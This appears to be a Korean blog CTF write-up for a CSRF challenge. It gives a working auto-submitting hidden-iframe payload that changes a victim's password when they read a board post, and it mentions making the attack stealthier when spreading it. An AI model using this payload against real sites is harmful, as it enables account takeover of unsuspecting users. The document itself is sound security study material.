이번엔 CSRF CTF 1번 문제를 풀어보도록 하겠습니다
CSRF 공격을 이용해 admin 계정의 비밀번호를 바꾸게 해야합니다.
CSRF 공격은 폭과 높이를 0으로 숨긴 iframe을 써서 action 속성으로 전달된 창이 뜨지 않게 할 수 있습니다.
코드를 보면 게시판만 읽어도 mypage_update.php에서 회원 정보를 수정한 효과를 얻을 수 있습니다.
<iframe width="0" height="0" border="0"
name="stealthframe" id="stealthframe" style="display:none;">
</iframe>
<form method="GET" action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php"
target="stealthframe">
<input type="hidden" name="pw" value="babo">
</form>
<script>
document.forms[0].submit(); //보이지 않게 띄운 창의 'submit'속성을 가진 input을 누름
</script>
Javascript에서는 document.forms 객체로 form 태그에서 사용되는 양식들을 제어할 수 있습니다.
코드대로라면 document.forms[0].submit()은 코드의 처음 form 태그 안에 존재하는 submit 속성을 가진 input을 누르게 될 겁니다.
document.forms 사용법
<form> →document.forms[0]
<input type=text value='1번째 텍스트'> →document.forms[0].elements[0]
<input type=text value='2번째 텍스트'> →document.forms[0].elements[1]
<input type=submit>
</form>
<form> →document.forms[1]
<input type=text value='1번째 글자'> →document.forms[1].elements[0]
<input type=text value='2번째 글자'> →document.forms[1].elements[1]
<input type=submit>
</form>
다른 id나 비밀번호 같은 input을 건드리고 싶다면 elements 객체를 사용하면 건드릴 수 있습니다.
document.forms[0].elements[0] 같은 식입니다.
제목과 내용에 어그로를 끌 수 있는 내용을 적어주고 그 밑에 CSRF 공격 코드를 삽입합니다.
작성 성공!
글 작성이 완료되고 게시판에 제가 쓴 글이 잘 올라왔습니다.
이렇게 게시판 글을 읽기만 해도 회원 정보가 수정되었다는 창이 뜹니다.
그리고 접속해있던 제 아이디 비밀번호가 바뀌면서 세션이 파괴되었습니다. 잘못된 접근이라고 뜨는군요
원래 아이디 비밀번호로 로그인하려고 하니 로그인이 되질 않습니다.
제가 게시판에 적었던 babo라는 패스워드로 로그인하니 로그인이 되었습니다.
작동은 잘 되는데 저 alert 창이 뜨면 이 공격을 상대방에게 살포했을 때 알아차릴 수 밖에 없을 것 같습니다.
소스 참조
https://m.blog.naver.com/PostView.nhn?isHttpsRedirect=true&blogId=akira54055&logNo=60035061694
'해킹 > 해킹 기법' 카테고리의 다른 글
[File Upload 공격 정리] 내가 만든 웹사이트를 웹 쉘로 장악하기 (0) | 2023.06.02 |
---|---|
해킹 기법 - Hash Cracking (0) | 2023.05.30 |
해킹 툴 - MaxPhisher 설치 및 사용법 (0) | 2023.05.17 |
해킹 기법 - 사회공학기법, 피싱, maxphisher (1) | 2023.05.16 |
XSS CTF 정리 3번 문제 (0) | 2023.05.16 |